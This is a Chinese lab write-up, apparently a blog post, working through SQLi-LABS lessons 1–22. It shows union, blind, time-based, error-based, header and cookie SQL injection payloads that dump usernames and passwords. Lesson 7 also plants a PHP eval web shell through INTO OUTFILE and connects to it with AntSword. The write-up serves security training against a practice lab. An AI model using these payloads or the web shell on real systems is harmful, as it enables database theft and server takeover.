SQLi-LABS Page-1(Basic Challenges(基本挑战))

Less-1 GET-Error based-Single quotes-String(Less-1 GET基于错误的单引号字符串)

1,在 Less-1/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息判断闭合方式为  '  单引号闭合。

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。

4,在 %27 后,--+ 前输入  order by 正整数 判断语句列数。(图内空格显示为%20)用二分法判断出有3列。

5,将id改为负值确保其为假不会影响输出结果,在 %27 后,--+ 前输入  union select 1,2,3 判断注入点的位置,根据回显内容判断出,2,3两个位置有注入点。

6,在 %27 后,--+ 前输入  union select 1,database(),3 选择2位置的注入点,回显数据库名,得到数据库名为:security

7,在 %27 后,--+ 前输入  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 选择2位置的注入点,回显表名,得到表名:emails,referers,uagents,users  猜测 users 为存放用户名和密码信息的表。

8,在 %27 后,--+ 前输入  union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' 选择2位置的注入点,回显字段名,得到字段名:id,username,password 猜测username存放用户名,password存放密码。

9,在 %27 后,--+ 前输入  union select 1,group_concat(concat_ws(':',username,password)),3 from security.users 选择2位置的注入点,回显信息为 用户名:对应密码 。

Less-2 GET -Error based -intiger based(Less-2 GET-基于错误-基于启动器)

1,在 Less-2/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息判断闭合方式为  '  单引号闭合。(判断错误)

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。(显示错误,尝试去掉 ’ 单引号,显示正确。之后内容除了去掉的 ‘ 单引号外与Less-1相同)

Less-3 GET -Error based-Single quotes with twist -string(Less-3 GET-基于错误的带扭曲字符串的单引号)

1,在 Less-3/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息根据回显信息判断其断点含 ')' 尝试加上 ')' 并注释掉其后内容,即末尾加上 --+。(之后内容除了 ‘ (单引号) 后加上 ) (括号右半) 外与Less-1相同)

Less-4 GET-Error based-Double Quotes -string(Less-4 GET基于错误的双引号字符串)

1,在 Less-4/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息,但未报错。判断 ' (单引号)不是闭合方式。尝试 " (双引号) 有回显信息根据回显信息判断其断点含 ')' 尝试加上 ')' 并注释掉其后内容,即末尾加上 --+。(之后内容除了 ' (单引号) 改为 " (双引号) 加上 ) (括号右半) 外与Less-1相同)

Less-5 GET - Double Injection -single Quotes -string(Less-5 GET-双插入-单引号-字符串)

1,在 Less-5/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息判断闭合方式为  '  单引号闭合。

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。

4,在 %27 后,--+ 前输入  order by 正整数 判断语句列数。(图内空格显示为%20)用二分法判断出有3列。(得知正确信息显示You are in...........)

5,在 %27 后,--+ 前输入 and length(database())>正整数 。用二分法判断出数据库名得到的数据数比7大,没8大。即8个字符。

6,在 %27 后,--+ 前输入 and left((database()),1)='字符'。(错误不显示,正确显示You are in...........  最后得到数据库名:security

7,在 %27 后,--+ 前输入 and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>正整数。用二分法判断出表名得到的数据数比28大,没29大。即29个字符。

8,在 %27 后,--+ 前输入 and left((select group_concat(table_name) from%20information_schema.tables where table_schema='security'),1)=’字符‘。(错误不显示,正确显示You are in...........  最后得到表名:emails,referers,uagents,users  猜测 users 为存放用户名和密码信息的表。)

9,在 %27 后,--+ 前输入 and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>正整数。与步骤5,7同理,用二分法判断出表名得到的数据数比19大,没20大。即20个字符。

10,在 %27 后,--+ 前输入 and left((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1)=’字符‘。与步骤6,8同理(错误不显示,正确显示You are in...........  最后得到字段名:id,username,password 猜测username存放用户名,password存放密码。)

11,在 %27 后,--+ 前输入 and length((select group_concat(concat_ws(':',username,password)) from security.users))>正整数。与步骤5,7同理,用二分法判断出表名得到的数据数比120大,没121大。即121个字符。

12,在 %27 后,--+ 前输入 and left((select group_concat(concat_ws(':',username,password)) from security.users),1)=’字符‘。与步骤6,8同理(错误不显示,正确显示You are in...........  最后得到数据:Dumb:1,Angelina:1,Dummy:1,secure:1,stupid:1,superman:1,batman:1,admin:admin,admin1:1,admin2:1,admin3:1,dhakkan:1,admin4:1

Less -6 GET -Double injection -Double Quotes -string(Less-6 GET-双引号-字符串)

1,在 Less-6/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息,但未报错。判断 ' (单引号)不是闭合方式。尝试 " (双引号) 有报错信息,判断为 " (双引号) 闭合。(之后内容出了 ' (单引号) 改为 " (双引号) 外与Less_5相同)

Less-7 GET -Dump into outfile -string(Less-7 GET-转储到outfile-string)

1,phpStydy中打开MySQL,

2,在MySQL中找到数据库security运行show variables like '%secure%';命令得到secure_file_priv为Null。

3,找到my.ini文件,在末尾添加secure_file_priv="/" 保存后重启 MySQL 服务,再次运行show variables like '%secure%';命令得到secure_file_priv为 \ 。

4,在 Less-7/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

5,在 ?id=1后加  '  (单引号,即图内%27),有回显信息,判断为 ' (单引号)闭合。(判断错误)

6,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。显示错误尝试添加括号。得知闭合方式为 ')) (单引号+2个括号右半)。

7,在 %27)) 后,--+ 前输入 union select 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "E:\\third\\phpStudy20161103\\WWW\\sqli-labs-master\\Less-7\\text.php"("文件路径",在文件夹内找到Less-7路径,在路径末尾添加文件名text.php 当做  “文件路径”)虽然运行后页面内容没有变化但文件夹内多出text.php文件

8,打开中国蚁剑找到添加数据,输入URL地址:Less-7网站页面加文件名(http://127.0.0.1/sqli-labs-master/Less-7/text.php)连接密码:自己在文件中设置的密码(123456)点击添加按钮。双击新出现数据管理,显示出目录。

Less-8 GET -Blind -Boolian Based -single Quotes(Less-8 GET-盲目-布尔基-单引号)

1,在 Less-8/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),没有回显信息,尝试 " (双引号) 闭合,有回显但未报错,猜测报错信息被隐藏,基于此猜测,判断为 ' (单引号) 闭合。

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。

4,在 %27 后,--+ 前输入  order by 正整数 判断语句列数。(图内空格显示为%20)用二分法判断出有3列。(得知正确信息显示You are in...........)  (报错信息不显示) (之后内容与Less-5相同)

Less-9 GET - Blind .Time based.- single Quotes(第9课——盲人。基于时间。-单引号)

1,在 Less-9/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息但未报错。尝试 " (双引号) 闭合有回显信息但未报错。猜测所有回显信息被隐藏尝试延时回复。

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。且在 %27 后,--+ 前输入 and sleep(10) 有明显延时,判断为 ' (单引号) 闭合。(之后内容除了判断正确信息的方式,从回显You are in...........变为明显延时,和Less-5相同)

Less-10 GET -Blind -Time based -double quotes(Less-10 GET-盲-基于时间-双引号)

1,在 Less-9/ 后输入?id=1  有回显信息判断输入信息的地方为注入点。

2,在 ?id=1后加  '  (单引号,即图内%27),有回显信息但未报错。尝试 " (双引号) 闭合有回显信息但未报错。猜测所有回显信息被隐藏尝试延时回复。

3,在 %27 后输入 --+ 注释之后的语句,防止对输出内容造成影响。且在 %27 后,--+ 前输入 and sleep(10)没有延时, 改 ' (单引号 即%27) 为 " (双引号),有明显延时判断为 " (双引号) 闭合。(之后内容除了 ' (单引号) 改为 " (双引号) 外与Less-9相同)

Less -11 POST -Error Based -single quotes-string(Less-11 POST-基于错误-单引号字符串)

1,尝试正确登录。

2,在Username:后输入框输入 ' (单引号)  登录,有回显信息,判断存在注入点。

3,输入万能密码,测试闭合方式。通过输出结果判断为 ' (单引号) 闭合

4,通过order by () 判断语句列数,通过二分法判断为2列。

5,输入错误的账号,密码(防止影响输出结果)使用 union select database(),1语句,得知数据库名:security

6,输入错误的账号,密码(防止影响输出结果)使用 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'语句,得到表名:emails,referers,uagents,users   猜测 users 为存放用户名和密码信息的表。

7,输入错误的账号,密码(防止影响输出结果)使用 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'语句,得到字段名:id,username,password 猜测username存放用户名,password存放密码。

8,输入错误的账号,密码(防止影响输出结果)使用 union select 1,group_concat(concat_ws(':',username,password)) from security.users语句,得到:Dumb:1,Angelina:1,Dummy:1,secure:1,stupid:1,superman:1,batman:1,admin:admin,admin1:1,admin2:1,admin3:1,dhakkan:1,admin4:1

Less-12 POST -Error Based -Double quotes- String - with twist(Less-12 POST-基于错误-双引号-字符串-带扭曲)

1,在Username:后输入框输入 ' (单引号)  登录,没有回显信息,测试 " (双引号) 有回显信息,判断存在注入点。根据回显信息猜测闭合方式存在 ) (括号)。

2,输入万能密码,测试闭合方式。通过输出结果判断为 ") (双引号+括号右半) 闭合。除闭合方式外其他与Less-11相同。

Less-13 PosT-Double lnjection -Single quotes-String -with twist (Less-13 PosT双射-单引号字符串-带扭曲)

1,在Username:后输入框输入 ' (单引号)  登录,有回显信息,判断存在注入点。根据回显信息猜测闭合方式存在 ) (括号)

2,输入万能密码,测试闭合方式。通过输出结果判断为 ') (单引号+括号右半) 闭合。发现正确信息被隐藏

3,通过order by () 判断语句列数,根据输出结果判断为2列。

4,输入错误的账号,密码(防止影响输出结果)使用 or length((database()))语句,用二分法判断出数据库名得到的数据数比7大,没8大。即8个字符。

5,输入错误的账号,密码(防止影响输出结果)使用 or left((database()),1)语句,最后得到数据库名:security

6,输入错误的账号,密码(防止影响输出结果)使用 or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))语句。用二分法判断出表名得到的数据数比28大,没29大。即29个字符。

7,输入错误的账号,密码(防止影响输出结果)使用 or left((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)语句。最后得到表名:emails,referers,uagents,users  猜测 users 为存放用户名和密码信息的表。

8,输入错误的账号,密码(防止影响输出结果)使用 or length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))语句。与步骤4,6同理,用二分法判断出表名得到的数据数比19大,没20大。即20个字符。

10,输入错误的账号,密码(防止影响输出结果)使用 or left((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1)语句。与步骤5,7同理,最后得到字段名:id,username,password 猜测username存放用户名,password存放密码。

11,输入错误的账号,密码(防止影响输出结果)使用 or length((select group_concat(concat_ws(':',username,password)) from security.users))语句。与步骤4,6同理,用二分法判断出表名得到的数据数比120大,没121大。即121个字符。

12,输入错误的账号,密码(防止影响输出结果)使用 or left((select group_concat(concat_ws(':',username,password)) from security.users),1)=’字符‘语句。与步骤5,7同理,最后得到数据:Dumb:1,Angelina:1,Dummy:1,secure:1,stupid:1,superman:1,batman:1,admin:admin,admin1:1,admin2:1,admin3:1,dhakkan:1,admin4:1

Less-14 PosT-Double injection -single quotes-String -with twist(Less-14 PosT双插入-单引号字符串-带扭曲)

1,在Username:后输入框输入 ' (单引号)  登录,没有回显信息,测试 " (双引号) 有回显信息,判断存在注入点。

2,输入万能密码,测试闭合方式。通过输出结果判断为 " (双引号) 闭合。除闭合方式外,其他与Less-13相同。

Less-15 PosT -Blind-Booliantime Based -single quotes(Less-15 PosT-盲-布尔代数/基于时间-单引号)

1,在Username:后输入框输入 ' (单引号)  登录,没有回显信息,尝试 " (双引号) 登录,没有回显信息,猜测错误信息被隐藏。输入万能密码,测试闭合方式。通过输出结果判断为 ' (单引号) 闭合。(虽然没有回显信息单仍可以通过网站返回的正确,错误判断)除闭合方式为 ' (单引号) 和判断方式发生变化外,其余和Less-13相同。

Less-16 PosT-Blind-Boolian/Time Based -Double quotes(Less-16 PosT盲Boolian/基于时间-双引号)

1,在Username:后输入框输入 ' (单引号)  登录,没有回显信息,尝试 " (双引号) 登录,没有回显信息,猜测错误信息被隐藏。输入万能密码,测试闭合方式。通过输出结果判断为 ") (双引号+括号右半) 闭合。(虽然没有回显信息单仍可以通过网站返回的正确,错误判断)除闭合方式为 ") (双引号+括号右半) 和判断方式发生变化外,其余和Less-13相同。

Less-17 PosT - Update Query - Error Based - string (Less-17 PosT-更新查询-基于错误-字符串)

1,尝试修改密码,登录(Less-16页面)

2,通过判断注入点和闭合方式的尝试,发现用户名和密码都只显示错误,猜测需要正确的用户名辅助。有回显消息判断存在注入点。

3,输入万能密码,测试闭合方式。通过输出结果判断为 ' (单引号) 闭合。

4,这里尝试报错注入,使用 or updatexml(1,concat('!',version()),2)语句,获取版本号。成功获得版本号,可以使用报错注入。

5,使用 or updatexml(1,concat('!',database()),2)语句,得到数据库名为:security

6,使用 or updatexml(1,concat('!',(select group_concat(table_name) from information_schema.tables where table_schema='security')),2)语句,得到表名为:emails,referers,uagents,users 猜测 users 为存放用户名和密码信息的表。

7,使用 or updatexml(1,concat('!',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2)语句,得到字段名为:id,username,password 猜测username存放用户名,password存放密码。

8,使用 or updatexml(1,concat('!',(select group_concat(username,password) from security.users)),2)语句,得不到信息

Less-18 PosT - Header Injection - Uagent field - Error based(Less-18 PosT-标头注入-Uagent字段-基于错误)

1,打开Burp Suite软件,使用内置浏览器登录,不拦截。

2,开启拦截,再次登录。使用重放器发送消息,成功登录。根据回显消息判断注入点位置为User-Agent:。

3,输入 ' (单引号) 有报错消息,判断其为注入点。测试得其为 '' (2个单引号) 的闭合

4,输入'or updatexml(1,concat('!',(select database())),2) or'语句,得到数据库名:security

5,输入'or updatexml(1,concat('!',(select group_concat(table_name) from information_schema.tables where table_schema='security')),2) or'语句,得到表名:emails,referers,uagents,users  猜测 users 为存放用户名和密码信息的表。

6,输入'or updatexml(1,concat('!',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2) or'语句,得到字段名:id,username,password 猜测username存放用户名,password存放密码。

7,输入'or updatexml(1,concat('!',(select group_concat(concat(':',username,password)) from security.users)),2) or'语句,得到:用户名:对应密码(图片好像乱了也没显示全

Less-19 POsT - Header injection - Referer field - Error based (Less-19 POsT-标头注入-Referer字段-基于错误)

1,打开Burp Suite软件,使用内置浏览器登录,不拦截。

2,开启拦截,再次登录。使用重放器发送消息,成功登录。根据回显消息判断注入点位置为Referer:。

3,输入 ' (单引号) 有报错消息,判断其为注入点。测试得其为 '' (2个单引号) 的闭合。除注入点外,其余与Less-18相同。

Less-20 POST - Cookie injections - Uagent field - error based.(Less-20 POST-Cookie注入-Uagent字段-基于错误。)

1,打开Burp Suite软件,使用内置浏览器登录,不拦截。回显大量信息

2,开启拦截,再次登录。使用重放器发送消息,登录。根据回显消息判断注入点位置为Cookie:。

3,修改消息发现页面一直未正常响应,关闭拦截抓登录后的数据尝试。登录成功后,开启拦截再刷新页面。正常使用重放器发送信息。

4,输入 ' (单引号) 有报错消息,判断其为注入点。

5,输入order by语句,用二分法判断出有3列语句。

6,输入union select 1,2,3语句,发现输出的不是想要的结果,在admin前加 - ,使其为假再试一次,输出结果判断有3个注入点,且可以确定对应位置。

7,输入  union select 1,database(),3 语句,选择2位置的注入点,回显数据库名,得到数据库名为:security

8,输入  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 语句,选择2位置的注入点,回显表名,得到表名:emails,referers,uagents,users  猜测 users 为存放用户名和密码信息的表。

9,输入  union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' 语句,选择2位置的注入点,回显字段名,得到字段名:id,username,password 猜测username存放用户名,password存放密码。

10,输入  union select 1,group_concat(concat_ws(':',username,password)),3 from security.users语句,选择2位置的注入点,回显信息为 用户名:对应密码 。(页面未能显示全部信息)

Less-21 PosT - Dump into outfile - string(Less-21 PosT转储到外文件字符串)

1,打开Burp Suite软件,使用内置浏览器登录,不拦截。回显大量信息。

2,开启拦截,再次登录。使用重放器发送消息,登录。根据回显消息判断注入点位置为Cookie:。(此页面未找到另一信息)

3,修改消息发现页面一直未正常响应,关闭拦截抓登录后的数据尝试。登录成功后,开启拦截再刷新页面。正常使用重放器发送信息。发现Cookie:后信息乱码,判断加密过,测试后发现是base64编码,之后除将Less-20注入内容进行编码后放在同一位置,其余和Less-20相同。

Less-22 Future Editions(Les-22未来版本)

1,打开Burp Suite软件,使用内置浏览器登录,不拦截。回显大量信息。

2,开启拦截,刷新页面,使用重放器发送信息。

3,输入 ' (单引号) 编码后没有信息,尝试 " (双引号)编码后有信息,判断其为注入点。末尾加上#编码后回显信息回复正常,判断为 " (双引号) 闭合,除闭合方式外其余和Less-21相同。

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值